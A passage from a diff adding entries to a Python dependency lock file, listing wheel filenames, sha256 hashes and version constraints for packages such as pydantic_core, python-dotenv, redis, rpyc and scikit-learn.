"pydantic_core-2.14.6-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:370ffecb5316ed23b667d99ce4debe53ea664b99cc37bfa2af47bc769056d534"}, + {file = "pydantic_core-2.14.6-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f85f3843bdb1fe80e8c206fe6eed7a1caeae897e496542cee499c374a85c6e08"}, + {file = "pydantic_core-2.14.6-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9862bf828112e19685b76ca499b379338fd4c5c269d897e218b2ae8fcb80139d"}, + {file = "pydantic_core-2.14.6-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:036137b5ad0cb0004c75b579445a1efccd072387a36c7f217bb8efd1afbe5245"}, + {file = "pydantic_core-2.14.6-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:92879bce89f91f4b2416eba4429c7b5ca22c45ef4a499c39f0c5c69257522c7c"}, + {file = "pydantic_core-2.14.6-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:0c08de15d50fa190d577e8591f0329a643eeaed696d7771760295998aca6bc66"}, + {file = "pydantic_core-2.14.6-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:36099c69f6b14fc2c49d7996cbf4f87ec4f0e66d1c74aa05228583225a07b590"}, + {file = "pydantic_core-2.14.6-cp310-none-win32.whl", hash = "sha256:7be719e4d2ae6c314f72844ba9d69e38dff342bc360379f7c8537c48e23034b7"}, + {file = "pydantic_core-2.14.6-cp310-none-win_amd64.whl", hash = "sha256:36fa402dcdc8ea7f1b0ddcf0df4254cc6b2e08f8cd80e7010d4c4ae6e86b2a87"}, + {file = "pydantic_core-2.14.6-cp311-cp311-macosx_10_7_x86_64.whl", hash = "sha256:dea7fcd62915fb150cdc373212141a30037e11b761fbced340e9db3379b892d4"}, + {file = "pydantic_core-2.14.6-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ffff855100bc066ff2cd3aa4a60bc9534661816b110f0243e59503ec2df38421"}, + {file = "pydantic_core-2.14.6-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1b027c86c66b8627eb90e57aee1f526df77dc6d8b354ec498be9a757d513b92b"}, + {file = "pydantic_core-2.14.6-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:00b1087dabcee0b0ffd104f9f53d7d3eaddfaa314cdd6726143af6bc713aa27e"}, + {file = "pydantic_core-2.14.6-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:75ec284328b60a4e91010c1acade0c30584f28a1f345bc8f72fe8b9e46ec6a96"}, + {file = "pydantic_core-2.14.6-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7e1f4744eea1501404b20b0ac059ff7e3f96a97d3e3f48ce27a139e053bb370b"}, + {file = "pydantic_core-2.14.6-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b2602177668f89b38b9f84b7b3435d0a72511ddef45dc14446811759b82235a1"}, + {file = "pydantic_core-2.14.6-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:6c8edaea3089bf908dd27da8f5d9e395c5b4dc092dbcce9b65e7156099b4b937"}, + {file = "pydantic_core-2.14.6-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:478e9e7b360dfec451daafe286998d4a1eeaecf6d69c427b834ae771cad4b622"}, + {file = "pydantic_core-2.14.6-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:b6ca36c12a5120bad343eef193cc0122928c5c7466121da7c20f41160ba00ba2"}, + {file = "pydantic_core-2.14.6-cp311-none-win32.whl", hash = "sha256:2b8719037e570639e6b665a4050add43134d80b687288ba3ade18b22bbb29dd2"}, + {file = "pydantic_core-2.14.6-cp311-none-win_amd64.whl", hash = "sha256:78ee52ecc088c61cce32b2d30a826f929e1708f7b9247dc3b921aec367dc1b23"}, + {file = "pydantic_core-2.14.6-cp311-none-win_arm64.whl", hash = "sha256:a19b794f8fe6569472ff77602437ec4430f9b2b9ec7a1105cfd2232f9ba355e6"}, + {file = "pydantic_core-2.14.6-cp312-cp312-macosx_10_7_x86_64.whl", hash = "sha256:667aa2eac9cd0700af1ddb38b7b1ef246d8cf94c85637cbb03d7757ca4c3fdec"}, + {file = "pydantic_core-2.14.6-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:cdee837710ef6b56ebd20245b83799fce40b265b3b406e51e8ccc5b85b9099b7"}, + {file = "pydantic_core-2.14.6-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2c5bcf3414367e29f83fd66f7de64509a8fd2368b1edf4351e862910727d3e51"}, + {file = "pydantic_core-2.14.6-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:26a92ae76f75d1915806b77cf459811e772d8f71fd1e4339c99750f0e7f6324f"}, + {file = "pydantic_core-2.14.6-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a983cca5ed1dd9a35e9e42ebf9f278d344603bfcb174ff99a5815f953925140a"}, + {file = "pydantic_core-2.14.6-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cb92f9061657287eded380d7dc455bbf115430b3aa4741bdc662d02977e7d0af"}, + {file = "pydantic_core-2.14.6-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e4ace1e220b078c8e48e82c081e35002038657e4b37d403ce940fa679e57113b"}, + {file = "pydantic_core-2.14.6-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:ef633add81832f4b56d3b4c9408b43d530dfca29e68fb1b797dcb861a2c734cd"}, + {file = "pydantic_core-2.14.6-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:7e90d6cc4aad2cc1f5e16ed56e46cebf4877c62403a311af20459c15da76fd91"}, + {file = "pydantic_core-2.14.6-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:e8a5ac97ea521d7bde7621d86c30e86b798cdecd985723c4ed737a2aa9e77d0c"}, + {file = "pydantic_core-2.14.6-cp312-none-win32.whl", hash = "sha256:f27207e8ca3e5e021e2402ba942e5b4c629718e665c81b8b306f3c8b1ddbb786"}, + {file = "pydantic_core-2.14.6-cp312-none-win_amd64.whl", hash = "sha256:b3e5fe4538001bb82e2295b8d2a39356a84694c97cb73a566dc36328b9f83b40"}, + {file = "pydantic_core-2.14.6-cp312-none-win_arm64.whl", hash = "sha256:64634ccf9d671c6be242a664a33c4acf12882670b09b3f163cd00a24cffbd74e"}, + {file = "pydantic_core-2.14.6-cp37-cp37m-macosx_10_7_x86_64.whl", hash = "sha256:24368e31be2c88bd69340fbfe741b405302993242ccb476c5c3ff48aeee1afe0"}, + {file = "pydantic_core-2.14.6-cp37-cp37m-macosx_11_0_arm64.whl", hash = "sha256:e33b0834f1cf779aa839975f9d8755a7c2420510c0fa1e9fa0497de77cd35d2c"}, + {file = "pydantic_core-2.14.6-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6af4b3f52cc65f8a0bc8b1cd9676f8c21ef3e9132f21fed250f6958bd7223bed"}, + {file = "pydantic_core-2.14.6-cp37-cp37m-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d15687d7d7f40333bd8266f3814c591c2e2cd263fa2116e314f60d82086e353a"}, + {file = "pydantic_core-2.14.6-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:095b707bb287bfd534044166ab767bec70a9bba3175dcdc3371782175c14e43c"}, + {file = "pydantic_core-2.14.6-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:94fc0e6621e07d1e91c44e016cc0b189b48db053061cc22d6298a611de8071bb"}, + {file = "pydantic_core-2.14.6-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1ce830e480f6774608dedfd4a90c42aac4a7af0a711f1b52f807130c2e434c06"}, + {file = "pydantic_core-2.14.6-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:a306cdd2ad3a7d795d8e617a58c3a2ed0f76c8496fb7621b6cd514eb1532cae8"}, + {file = "pydantic_core-2.14.6-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:2f5fa187bde8524b1e37ba894db13aadd64faa884657473b03a019f625cee9a8"}, + {file = "pydantic_core-2.14.6-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:438027a975cc213a47c5d70672e0d29776082155cfae540c4e225716586be75e"}, + {file = "pydantic_core-2.14.6-cp37-none-win32.whl", hash = "sha256:f96ae96a060a8072ceff4cfde89d261837b4294a4f28b84a28765470d502ccc6"}, + {file = "pydantic_core-2.14.6-cp37-none-win_amd64.whl", hash = "sha256:e646c0e282e960345314f42f2cea5e0b5f56938c093541ea6dbf11aec2862391"}, + {file = "pydantic_core-2.14.6-cp38-cp38-macosx_10_7_x86_64.whl", hash = "sha256:db453f2da3f59a348f514cfbfeb042393b68720787bbef2b4c6068ea362c8149"}, + {file = "pydantic_core-2.14.6-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:3860c62057acd95cc84044e758e47b18dcd8871a328ebc8ccdefd18b0d26a21b"}, + {file = "pydantic_core-2.14.6-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:36026d8f99c58d7044413e1b819a67ca0e0b8ebe0f25e775e6c3d1fabb3c38fb"}, + {file = "pydantic_core-2.14.6-cp38-cp38-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8ed1af8692bd8d2a29d702f1a2e6065416d76897d726e45a1775b1444f5928a7"}, + {file = "pydantic_core-2.14.6-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:314ccc4264ce7d854941231cf71b592e30d8d368a71e50197c905874feacc8a8"}, + {file = "pydantic_core-2.14.6-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:982487f8931067a32e72d40ab6b47b1628a9c5d344be7f1a4e668fb462d2da42"}, + {file = "pydantic_core-2.14.6-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2dbe357bc4ddda078f79d2a36fc1dd0494a7f2fad83a0a684465b6f24b46fe80"}, + {file = "pydantic_core-2.14.6-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2f6ffc6701a0eb28648c845f4945a194dc7ab3c651f535b81793251e1185ac3d"}, + {file = "pydantic_core-2.14.6-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:7f5025db12fc6de7bc1104d826d5aee1d172f9ba6ca936bf6474c2148ac336c1"}, + {file = "pydantic_core-2.14.6-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:dab03ed811ed1c71d700ed08bde8431cf429bbe59e423394f0f4055f1ca0ea60"}, + {file = "pydantic_core-2.14.6-cp38-none-win32.whl", hash = "sha256:dfcbebdb3c4b6f739a91769aea5ed615023f3c88cb70df812849aef634c25fbe"}, + {file = "pydantic_core-2.14.6-cp38-none-win_amd64.whl", hash = "sha256:99b14dbea2fdb563d8b5a57c9badfcd72083f6006caf8e126b491519c7d64ca8"}, + {file = "pydantic_core-2.14.6-cp39-cp39-macosx_10_7_x86_64.whl", hash = "sha256:4ce8299b481bcb68e5c82002b96e411796b844d72b3e92a3fbedfe8e19813eab"}, + {file = "pydantic_core-2.14.6-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b9a9d92f10772d2a181b5ca339dee066ab7d1c9a34ae2421b2a52556e719756f"}, + {file = "pydantic_core-2.14.6-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fd9e98b408384989ea4ab60206b8e100d8687da18b5c813c11e92fd8212a98e0"}, + {file = "pydantic_core-2.14.6-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4f86f1f318e56f5cbb282fe61eb84767aee743ebe32c7c0834690ebea50c0a6b"}, + {file = "pydantic_core-2.14.6-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:86ce5fcfc3accf3a07a729779d0b86c5d0309a4764c897d86c11089be61da160"}, + {file = "pydantic_core-2.14.6-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3dcf1978be02153c6a31692d4fbcc2a3f1db9da36039ead23173bc256ee3b91b"}, + {file = "pydantic_core-2.14.6-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eedf97be7bc3dbc8addcef4142f4b4164066df0c6f36397ae4aaed3eb187d8ab"}, + {file = "pydantic_core-2.14.6-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d5f916acf8afbcab6bacbb376ba7dc61f845367901ecd5e328fc4d4aef2fcab0"}, + {file = "pydantic_core-2.14.6-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:8a14c192c1d724c3acbfb3f10a958c55a2638391319ce8078cb36c02283959b9"}, + {file = "pydantic_core-2.14.6-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:0348b1dc6b76041516e8a854ff95b21c55f5a411c3297d2ca52f5528e49d8411"}, + {file = "pydantic_core-2.14.6-cp39-none-win32.whl", hash = "sha256:de2a0645a923ba57c5527497daf8ec5df69c6eadf869e9cd46e86349146e5975"}, + {file = "pydantic_core-2.14.6-cp39-none-win_amd64.whl", hash = "sha256:aca48506a9c20f68ee61c87f2008f81f8ee99f8d7f0104bff3c47e2d148f89d9"}, + {file = "pydantic_core-2.14.6-pp310-pypy310_pp73-macosx_10_7_x86_64.whl", hash = "sha256:d5c28525c19f5bb1e09511669bb57353d22b94cf8b65f3a8d141c389a55dec95"}, + {file = "pydantic_core-2.14.6-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:78d0768ee59baa3de0f4adac9e3748b4b1fffc52143caebddfd5ea2961595277"}, + {file = "pydantic_core-2.14.6-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8b93785eadaef932e4fe9c6e12ba67beb1b3f1e5495631419c784ab87e975670"}, + {file = "pydantic_core-2.14.6-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a874f21f87c485310944b2b2734cd6d318765bcbb7515eead33af9641816506e"}, + {file = "pydantic_core-2.14.6-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b89f4477d915ea43b4ceea6756f63f0288941b6443a2b28c69004fe07fde0d0d"}, + {file = "pydantic_core-2.14.6-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:172de779e2a153d36ee690dbc49c6db568d7b33b18dc56b69a7514aecbcf380d"}, + {file = "pydantic_core-2.14.6-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:dfcebb950aa7e667ec226a442722134539e77c575f6cfaa423f24371bb8d2e94"}, + {file = "pydantic_core-2.14.6-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:55a23dcd98c858c0db44fc5c04fc7ed81c4b4d33c653a7c45ddaebf6563a2f66"}, + {file = "pydantic_core-2.14.6-pp37-pypy37_pp73-macosx_10_7_x86_64.whl", hash = "sha256:4241204e4b36ab5ae466ecec5c4c16527a054c69f99bba20f6f75232a6a534e2"}, + {file = "pydantic_core-2.14.6-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e574de99d735b3fc8364cba9912c2bec2da78775eba95cbb225ef7dda6acea24"}, + {file = "pydantic_core-2.14.6-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1302a54f87b5cd8528e4d6d1bf2133b6aa7c6122ff8e9dc5220fbc1e07bffebd"}, + {file = "pydantic_core-2.14.6-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f8e81e4b55930e5ffab4a68db1af431629cf2e4066dbdbfef65348b8ab804ea8"}, + {file = "pydantic_core-2.14.6-pp37-pypy37_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:c99462ffc538717b3e60151dfaf91125f637e801f5ab008f81c402f1dff0cd0f"}, + {file = "pydantic_core-2.14.6-pp37-pypy37_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:e4cf2d5829f6963a5483ec01578ee76d329eb5caf330ecd05b3edd697e7d768a"}, + {file = "pydantic_core-2.14.6-pp38-pypy38_pp73-macosx_10_7_x86_64.whl", hash = "sha256:cf10b7d58ae4a1f07fccbf4a0a956d705356fea05fb4c70608bb6fa81d103cda"}, + {file = "pydantic_core-2.14.6-pp38-pypy38_pp73-macosx_11_0_arm64.whl", hash = "sha256:399ac0891c284fa8eb998bcfa323f2234858f5d2efca3950ae58c8f88830f145"}, + {file = "pydantic_core-2.14.6-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9c6a5c79b28003543db3ba67d1df336f253a87d3112dac3a51b94f7d48e4c0e1"}, + {file = "pydantic_core-2.14.6-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:599c87d79cab2a6a2a9df4aefe0455e61e7d2aeede2f8577c1b7c0aec643ee8e"}, + {file = "pydantic_core-2.14.6-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:43e166ad47ba900f2542a80d83f9fc65fe99eb63ceec4debec160ae729824052"}, + {file = "pydantic_core-2.14.6-pp38-pypy38_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:3a0b5db001b98e1c649dd55afa928e75aa4087e587b9524a4992316fa23c9fba"}, + {file = "pydantic_core-2.14.6-pp38-pypy38_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:747265448cb57a9f37572a488a57d873fd96bf51e5bb7edb52cfb37124516da4"}, + {file = "pydantic_core-2.14.6-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:7ebe3416785f65c28f4f9441e916bfc8a54179c8dea73c23023f7086fa601c5d"}, + {file = "pydantic_core-2.14.6-pp39-pypy39_pp73-macosx_10_7_x86_64.whl", hash = "sha256:86c963186ca5e50d5c8287b1d1c9d3f8f024cbe343d048c5bd282aec2d8641f2"}, + {file = "pydantic_core-2.14.6-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:e0641b506486f0b4cd1500a2a65740243e8670a2549bb02bc4556a83af84ae03"}, + {file = "pydantic_core-2.14.6-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:71d72ca5eaaa8d38c8df16b7deb1a2da4f650c41b58bb142f3fb75d5ad4a611f"}, + {file = "pydantic_core-2.14.6-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:27e524624eace5c59af499cd97dc18bb201dc6a7a2da24bfc66ef151c69a5f2a"}, + {file = "pydantic_core-2.14.6-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:a3dde6cac75e0b0902778978d3b1646ca9f438654395a362cb21d9ad34b24acf"}, + {file = "pydantic_core-2.14.6-pp39-pypy39_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:00646784f6cd993b1e1c0e7b0fdcbccc375d539db95555477771c27555e3c556"}, + {file = "pydantic_core-2.14.6-pp39-pypy39_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:23598acb8ccaa3d1d875ef3b35cb6376535095e9405d91a3d57a8c7db5d29341"}, + {file = "pydantic_core-2.14.6-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:7f41533d7e3cf9520065f610b41ac1c76bc2161415955fbcead4981b22c7611e"}, + {file = "pydantic_core-2.14.6.tar.gz", hash = "sha256:1fd0c1d395372843fba13a51c28e3bb9d59bd7aebfeb17358ffaaa1e4dbbe948"}, +] + +[package.dependencies] +typing-extensions = ">=4.6.0,<4.7.0 || >4.7.0" + +[[package]] +name = "pydantic-settings" +version = "2.1.0" +description = "Settings management using Pydantic" +optional = false +python-versions = ">=3.8" +files = [ + {file = "pydantic_settings-2.1.0-py3-none-any.whl", hash = "sha256:7621c0cb5d90d1140d2f0ef557bdf03573aac7035948109adf2574770b77605a"}, + {file = "pydantic_settings-2.1.0.tar.gz", hash = "sha256:26b1492e0a24755626ac5e6d715e9077ab7ad4fb5f19a8b7ed7011d52f36141c"}, +] + +[package.dependencies] +pydantic = ">=2.3.0" +python-dotenv = ">=0.21.0" + +[[package]] +name = "python-dateutil" +version = "2.8.2" +description = "Extensions to the standard Python datetime module" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" +files = [ + {file = "python-dateutil-2.8.2.tar.gz", hash = "sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86"}, + {file = "python_dateutil-2.8.2-py2.py3-none-any.whl", hash = "sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9"}, +] + +[package.dependencies] +six = ">=1.5" + +[[package]] +name = "python-dotenv" +version = "1.0.1" +description = "Read key-value pairs from a .env file and set them as environment variables" +optional = false +python-versions = ">=3.8" +files = [ + {file = "python-dotenv-1.0.1.tar.gz", hash = "sha256:e324ee90a023d808f1959c46bcbc04446a10ced277783dc6ee09987c37ec10ca"}, + {file = "python_dotenv-1.0.1-py3-none-any.whl", hash = "sha256:f7b63ef50f1b690dddf550d03497b66d609393b40b564ed0d674909a68ebf16a"}, +] + +[package.extras] +cli = ["click (>=5.0)"] + +[[package]] +name = "pytz" +version = "2024.1" +description = "World timezone definitions, modern and historical" +optional = false +python-versions = "*" +files = [ + {file = "pytz-2024.1-py2.py3-none-any.whl", hash = "sha256:328171f4e3623139da4983451950b28e95ac706e13f3f2630a879749e7a8b319"}, + {file = "pytz-2024.1.tar.gz", hash = "sha256:2a29735ea9c18baf14b448846bde5a48030ed267578472d8955cd0e7443a9812"}, +] + +[[package]] +name = "pywin32" +version = "306" +description = "Python for Window Extensions" +optional = false +python-versions = "*" +files = [ + {file = "pywin32-306-cp310-cp310-win32.whl", hash = "sha256:06d3420a5155ba65f0b72f2699b5bacf3109f36acbe8923765c22938a69dfc8d"}, + {file = "pywin32-306-cp310-cp310-win_amd64.whl", hash = "sha256:84f4471dbca1887ea3803d8848a1616429ac94a4a8d05f4bc9c5dcfd42ca99c8"}, + {file = "pywin32-306-cp311-cp311-win32.whl", hash = "sha256:e65028133d15b64d2ed8f06dd9fbc268352478d4f9289e69c190ecd6818b6407"}, + {file = "pywin32-306-cp311-cp311-win_amd64.whl", hash = "sha256:a7639f51c184c0272e93f244eb24dafca9b1855707d94c192d4a0b4c01e1100e"}, + {file = "pywin32-306-cp311-cp311-win_arm64.whl", hash = "sha256:70dba0c913d19f942a2db25217d9a1b726c278f483a919f1abfed79c9cf64d3a"}, + {file = "pywin32-306-cp312-cp312-win32.whl", hash = "sha256:383229d515657f4e3ed1343da8be101000562bf514591ff383ae940cad65458b"}, + {file = "pywin32-306-cp312-cp312-win_amd64.whl", hash = "sha256:37257794c1ad39ee9be652da0462dc2e394c8159dfd913a8a4e8eb6fd346da0e"}, + {file = "pywin32-306-cp312-cp312-win_arm64.whl", hash = "sha256:5821ec52f6d321aa59e2db7e0a35b997de60c201943557d108af9d4ae1ec7040"}, + {file = "pywin32-306-cp37-cp37m-win32.whl", hash = "sha256:1c73ea9a0d2283d889001998059f5eaaba3b6238f767c9cf2833b13e6a685f65"}, + {file = "pywin32-306-cp37-cp37m-win_amd64.whl", hash = "sha256:72c5f621542d7bdd4fdb716227be0dd3f8565c11b280be6315b06ace35487d36"}, + {file = "pywin32-306-cp38-cp38-win32.whl", hash = "sha256:e4c092e2589b5cf0d365849e73e02c391c1349958c5ac3e9d5ccb9a28e017b3a"}, + {file = "pywin32-306-cp38-cp38-win_amd64.whl", hash = "sha256:e8ac1ae3601bee6ca9f7cb4b5363bf1c0badb935ef243c4733ff9a393b1690c0"}, + {file = "pywin32-306-cp39-cp39-win32.whl", hash = "sha256:e25fd5b485b55ac9c057f67d94bc203f3f6595078d1fb3b458c9c28b7153a802"}, + {file = "pywin32-306-cp39-cp39-win_amd64.whl", hash = "sha256:39b61c15272833b5c329a2989999dcae836b1eed650252ab1b7bfbe1d59f30f4"}, +] + +[[package]] +name = "redis" +version = "5.0.1" +description = "Python client for Redis database and key-value store" +optional = false +python-versions = ">=3.7" +files = [ + {file = "redis-5.0.1-py3-none-any.whl", hash = "sha256:ed4802971884ae19d640775ba3b03aa2e7bd5e8fb8dfaed2decce4d0fc48391f"}, + {file = "redis-5.0.1.tar.gz", hash = "sha256:0dab495cd5753069d3bc650a0dde8a8f9edde16fc5691b689a566eda58100d0f"}, +] + +[package.dependencies] +async-timeout = {version = ">=4.0.2", markers = "python_full_version <= \"3.11.2\""} +hiredis = {version = ">=1.0.0", optional = true, markers = "extra == \"hiredis\""} + +[package.extras] +hiredis = ["hiredis (>=1.0.0)"] +ocsp = ["cryptography (>=36.0.1)", "pyopenssl (==20.0.1)", "requests (>=2.26.0)"] + +[[package]] +name = "rpyc" +version = "5.3.1" +description = "Remote Python Call (RPyC) is a transparent and symmetric distributed computing library" +optional = false +python-versions = ">=3.7" +files = [ + {file = "rpyc-5.3.1-py3-none-any.whl", hash = "sha256:6e8153792ac221a80f420d2e0b241a10c6e43b105d325998b18a4e7af329f9ec"}, + {file = "rpyc-5.3.1.tar.gz", hash = "sha256:f2233174879faf18ae266437d5a65511ce46c817cec4edc1344f036758cfbf52"}, +] + +[package.dependencies] +plumbum = "*" + +[[package]] +name = "scikit-learn" +version = "1.4.0" +description = "A set of python modules for machine learning and data mining" +optional = false +python-versions = ">=3.9" +files = [ + {file = "scikit-learn-1.4.0.tar.gz", hash = "sha256:d4373c984eba20e393216edd51a3e3eede56cbe93d4247516d205643c3b93121"}, + {file = "scikit_learn-1.4.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:cb8f044a8f5962613ce1feb4351d66f8d784bd072d36393582f351859b065f7d"}, + {file = "scikit_learn-1.4.0-cp310-cp310-macosx_12_0_arm64.whl", hash = "sha256:a6372c90bbf302387792108379f1ec77719c1618d88496d0df30cb8e370b4661"}, + {file = "scikit_learn-1.4.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:785ce3c352bf697adfda357c3922c94517a9376002971bc5ea50896144bc8916"}, + {file = "scikit_learn-1.4.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0aba2a20d89936d6e72d95d05e3bf1db55bca5c5920926ad7b92c34f5e7d3bbe"}, + {file = "scikit_learn-1.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:2bac5d56b992f8f06816f2cd321eb86071c6f6d44bb4b1cb3d626525820d754b"}, + {file = "scikit_learn-1.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:27ae4b0f1b2c77107c096a7e05b33458354107b47775428d1f11b23e30a73e8a"}, + {file = "scikit_learn-1.4.0-cp311-cp311-macosx_12_0_arm64.whl", hash = "sha256:5c5c62ffb52c3ffb755eb21fa74cc2cbf2c521bd53f5c04eaa10011dbecf5f80"}, + {file = "scikit_learn-1.4.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7f0d2018ac6fa055dab65fe8a485967990d33c672d55bc254c56c35287b02fab"}, + {file = "scikit_learn-1.4.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:91a8918c415c4b4bf1d60c38d32958849a9191c2428ab35d30b78354085c7c7a"}, + {file = "scikit_learn-1.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:80a21de63275f8bcd7877b3e781679d2ff1eddfed515a599f95b2502a3283d42"}, + {file = "scikit_learn-1.4.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:0f33bbafb310c26b81c4d41ecaebdbc1f63498a3f13461d50ed9a2e8f24d28e4"}, + {file = "scikit_learn-1.4.0-cp312-cp312-macosx_12_0_arm64.whl", hash = "sha256:8b6ac1442ec714b4911e5aef8afd82c691b5c88b525ea58299d455acc4e8dcec"}, + {file = "scikit_learn-1.4.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:05fc5915b716c6cc60a438c250108e9a9445b522975ed37e416d5ea4f9a63381"}, + {file = "scikit_learn-1.4.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:842b7d6989f3c574685e18da6f91223eb32301d0f93903dd399894250835a6f7"}, + {file = "scikit_learn-1.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:88bcb586fdff865372df1bc6be88bb7e6f9e0aa080dab9f54f5cac7eca8e2b6b"}, + {file = "scikit_learn-1.4.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:f77674647dd31f56cb12ed13ed25b6ed43a056fffef051715022d2ebffd7a7d1"}, + {file = "scikit_learn-1.4.0-cp39-cp39-macosx_12_0_arm64.whl", hash = "sha256:833999872e2920ce00f3a50839946bdac7539454e200eb6db54898a41f4bfd43"}, + {file = "scikit_learn-1.4.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = 